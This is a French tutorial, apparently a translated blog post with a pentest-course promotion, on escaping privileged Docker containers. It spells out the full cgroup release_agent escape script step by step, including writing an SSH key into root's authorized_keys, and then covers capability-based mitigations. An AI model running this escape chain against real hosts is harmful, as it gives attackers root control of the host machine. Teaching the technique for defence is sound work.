Les conteneurs privilégiés Docker sont des conteneurs qui s'exécutent avec un indicateur
--privileged
. Contrairement aux conteneurs classiques, ces conteneurs ont un accès root à la machine hôte.
Les conteneurs privilégiés sont souvent utilisés lorsque les tâches nécessitent un accès direct au matériel pour effectuer des tâches. Cependant, les conteneurs Docker privilégiés peuvent permettre aux attaquants de prendre le contrôle du système hôte. Aujourd'hui, nous allons voir comment vous pouvez quitter un conteneur privilégié.
Rechercher des conteneurs vulnérables
Comment pouvons-nous déterminer que nous sommes dans un conteneur privilégié?
Comment savez-vous que vous êtes dans un conteneur?
Cgroups
signifie groupes de contrôle. Cette fonctionnalité Linux isole l'utilisation des ressources et c'est ce que Docker utilise pour isoler les conteneurs. Vous pouvez savoir si vous êtes dans un conteneur en vérifiant le groupe de contrôle du processus init dans /proc/1/cgroup
. Si vous n'êtes pas à l'intérieur du conteneur, le groupe de contrôle sera /. Encore une fois, si vous êtes dans un conteneur, vous verrez à la place /docker/CONTAINER_ID
.
Comment savoir si un conteneur est privilégié?
Une fois que vous avez déterminé que vous êtes dans un conteneur, vous devez savoir s'il est privilégié. La meilleure façon de faire est d'exécuter la commande qui a besoin de l'indicateur
--privileged
et de voir si cela fonctionne.
Par exemple, vous pouvez essayer d'ajouter une
dummy
interface à l'aide de la commande iproute2
. Cette commande nécessite l'accès NET_ADMIN
auquel le conteneur a, s'il est privilégié.
$ ip link add dummy0 type dummy
Si la commande réussit, nous pouvons conclure que le conteneur a des fonctionnalités
NET_ADMIN
. Et NET_ADMIN
à son tour, il fait partie d'un ensemble de fonctions privilégiées, et les conteneurs qui ne l'ont pas ne sont pas privilégiés. Vous pouvez supprimer le lien dummy0
après ce test avec la commande:
ip link delete dummy0
S'échapper du conteneur
Alors, comment sortir du conteneur privilégié? Le script suivant vous aidera ici. Cet exemple et cette preuve de concept sont tirés du blog Trail of Bits . Pour approfondir le concept, lisez l'article original:
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
Cette preuve de concept utilise une fonction
release_agent
de cgroup
.
Une fois le dernier processus terminé dans
cgroup
, une commande est exécutée qui supprime le travail terminé cgroups
. Cette commande est spécifiée dans le fichier release_agent
et est exécutée comme root
sur l'ordinateur hôte. Par défaut, la fonctionnalité est désactivée et le chemin release_agent
est vide.
Cet exploit exécute le code dans un fichier
release_agent
. Nous devons créer cgroup
, spécifier son fichier release_agent
et démarrer release_agent
, en tuant tous les processus dans cgroup
. La première ligne du test d'hypothèse crée un nouveau groupe:
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
Ce qui suit comprend la fonction
release_agent
:
echo 1 > /tmp/cgrp/x/notify_on_release
Ensuite, le chemin d'accès au fichier est écrit dans les prochaines lignes
release_agent
:
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
Ensuite, vous pouvez commencer à écrire dans le fichier de commande. Ce script exécutera la commande
ps aux
et l'enregistrera dans un fichier /output
. Vous devez également définir les bits d'accès pour le script:
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
Enfin, lancez l'attaque en créant un processus qui se terminera immédiatement dans le groupe de contrôle que nous avons créé. Notre script
release_agent
sera exécuté après la fin du processus. Vous pouvez maintenant lire la sortie ps aux
sur la machine hôte dans un fichier /output
:
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
Vous pouvez utiliser ce concept pour exécuter les commandes de votre choix sur le système hôte. Par exemple, vous pouvez l'utiliser pour écrire votre clé SSH dans le fichier
authorized_keys
utilisateur racine:
cat id_dsa.pub >> /root/.ssh/authorized_keys
Prévenir une attaque
Comment empêcher cette attaque? Au lieu d'accorder aux conteneurs un accès complet au système hôte, vous ne devez accorder que les autorisations dont ils ont besoin.
Les capacités de Docker permettent aux développeurs d'accorder sélectivement des autorisations à un conteneur. Il devient possible de diviser les autorisations, généralement conditionnées en root
access
, en composants séparés.
Par défaut, Docker prend toutes les autorisations du conteneur et exige qu'elles soient ajoutées. Vous pouvez supprimer ou ajouter des autorisations à l'aide des indicateurs
cap-drop
et cap-add
.
--cap-drop=all
--cap-add=LIST_OF_CAPABILITIES
Par exemple, au lieu de donner au conteneur
root access
, vous le laissez NET_BIND_SERVICE
s'il doit se connecter à un port inférieur à 1024. Cet indicateur donnera au conteneur les autorisations nécessaires:
--cap-add NET_BIND_SERVICE
Conclusion
Évitez d'exécuter des conteneurs Docker avec un indicateur dans la mesure du possible
--privileged
. Les conteneurs privilégiés peuvent donner aux attaquants la possibilité de quitter le conteneur et d'accéder au système hôte. Au lieu de cela, donnez l'autorisation aux conteneurs individuellement à l'aide d'un indicateur --cap-add
.
Lire la suite
- Fonctionnalités du noyau Linux
- Utiliser Docker en toute sécurité
- Meilleures pratiques de sécurité pour travailler avec des conteneurs privilégiés
- Tactiques de l'équipe rouge: techniques de surveillance avancées dans les opérations offensives
- Pentest. Pratique de test de pénétration ou «piratage éthique». Nouveau cours d'OTUS
En savoir plus sur le cours.